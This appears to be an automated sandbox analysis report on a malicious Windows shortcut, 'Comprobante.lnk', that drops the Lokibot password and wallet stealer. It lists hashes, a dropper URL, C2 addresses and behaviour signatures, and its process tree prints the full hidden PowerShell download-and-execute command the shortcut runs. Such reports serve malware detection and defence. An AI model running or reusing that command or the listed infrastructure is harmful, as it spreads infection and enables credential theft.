Analysis

  • max time kernel
    126s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03-10-2024 07:14

General

  • Target

    Comprobante.lnk

  • Size

    2KB

  • MD5

    b234c46d1f63b18ad2dc3f824bc0d6fa

  • SHA1

    fbdcce6b33b9e0ffbba48aadca0db9059af37141

  • SHA256

    8cd7bd86c1cc1be6d0c553fc3e8e02232b70363fadc3212989b1599a70c668d3

  • SHA512

    883b59b949966ac9a4b04f51a5298f842b94c80423dec3dd35105c4c61724cde142b7a781a8fab9da32c6748e4d205af7c74f1acd09388f5d19600ac8da97883

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif

Extracted

Family

lokibot

C2

http://freighteighttwocam.ddns.net/mdifygidj/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

  • Lokibot

    Lokibot is a Password and CryptoCoin Wallet Stealer.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Comprobante.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4456
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command OpenWith.exe;(new-object System.Net.WebClient).DownloadFile('https://www.sodiumlaurethsulfatedesyroyer.com/flow/sfdkavhbsfvhahlbfabreaireuafrgfyarfdkabrbfvakysrgfea/zdhkbgualsbifbAFRAWYEGFYAUGEYGywefafaer/nezfdio.pif','mjtjewi.exe');./'mjtjewi.exe';(get-item 'mjtjewi.exe').Attributes += 'Hidden';
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:928
      • C:\Windows\system32\OpenWith.exe
        "C:\Windows\system32\OpenWith.exe"
        3⤵
          PID:1900
        • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
          "C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe"
          3⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2648
          • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
            C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
            4⤵
            • Executes dropped EXE
            PID:2636
          • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
            C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
            4⤵
            • Executes dropped EXE
            • Accesses Microsoft Outlook profiles
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • outlook_office_path
            • outlook_win_path
            PID:2628
          • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
            C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe
            4⤵
            • Executes dropped EXE
            PID:2000
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 80
              5⤵
              • Program crash
              PID:2264
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2000 -ip 2000
      1⤵
        PID:1612

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ckd10snn.djm.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • C:\Users\Admin\AppData\Local\Temp\mjtjewi.exe

        Filesize

        363KB

        MD5

        db94d5df4add0a06f261eae73c2da5db

        SHA1

        a37ffecd4004127c3ee2e4ed8f2e5d507c418dc1

        SHA256

        8cf4cc35e623a326f1b5fe4892f5d5e44272925f33b7439e675edfc81ba2af70

        SHA512

        8fc3f52d241cd06db33bcc6fb85564a4fd3ee171e154162b2fb5b1c8e63216cd0f470ebe9ddc1d5e093b4713e1e93df33d696eed0258d89e3a33b68d47b3cc67

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823

        Filesize

        46B

        MD5

        c07225d4e7d01d31042965f048728a0a

        SHA1

        69d70b340fd9f44c89adb9a2278df84faa9906b7

        SHA256

        8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

        SHA512

        23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

      • C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-523280732-2327480845-3730041215-1000\0f5007522459c86e95ffcc62f32308f1_a5c5e2ae-85e3-447c-9e0b-c9a7b966d823

        Filesize

        46B

        MD5

        d898504a722bff1524134c6ab6a5eaa5

        SHA1

        e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

        SHA256

        878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

        SHA512

        26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

      • memory/928-2-0x00007FFB946F3000-0x00007FFB946F5000-memory.dmp

        Filesize

        8KB

      • memory/928-3-0x0000022314450000-0x0000022314472000-memory.dmp

        Filesize

        136KB

      • memory/928-13-0x00007FFB946F0000-0x00007FFB951B1000-memory.dmp

        Filesize

        10.8MB

      • memory/928-14-0x00007FFB946F0000-0x00007FFB951B1000-memory.dmp

        Filesize

        10.8MB

      • memory/928-24-0x00007FFB946F0000-0x00007FFB951B1000-memory.dmp

        Filesize

        10.8MB

      • memory/2628-66-0x0000000000400000-0x00000000004A2000-memory.dmp

        Filesize

        648KB

      • memory/2628-58-0x0000000000400000-0x00000000004A2000-memory.dmp

        Filesize

        648KB

      • memory/2636-34-0x0000000000400000-0x00000000004A2000-memory.dmp

        Filesize

        648KB

      • memory/2636-32-0x0000000000400000-0x00000000004A2000-memory.dmp

        Filesize

        648KB

      • memory/2648-30-0x000000000DD20000-0x000000000DDB2000-memory.dmp

        Filesize

        584KB

      • memory/2648-31-0x00000000010D0000-0x00000000010D6000-memory.dmp

        Filesize

        24KB

      • memory/2648-29-0x000000000E230000-0x000000000E7D4000-memory.dmp

        Filesize

        5.6MB

      • memory/2648-28-0x000000000DBE0000-0x000000000DC7C000-memory.dmp

        Filesize

        624KB

      • memory/2648-27-0x000000000DAE0000-0x000000000DB46000-memory.dmp

        Filesize

        408KB

      • memory/2648-26-0x0000000004ED0000-0x0000000004ED6000-memory.dmp

        Filesize

        24KB

      • memory/2648-25-0x0000000000690000-0x00000000006F4000-memory.dmp

        Filesize

        400KB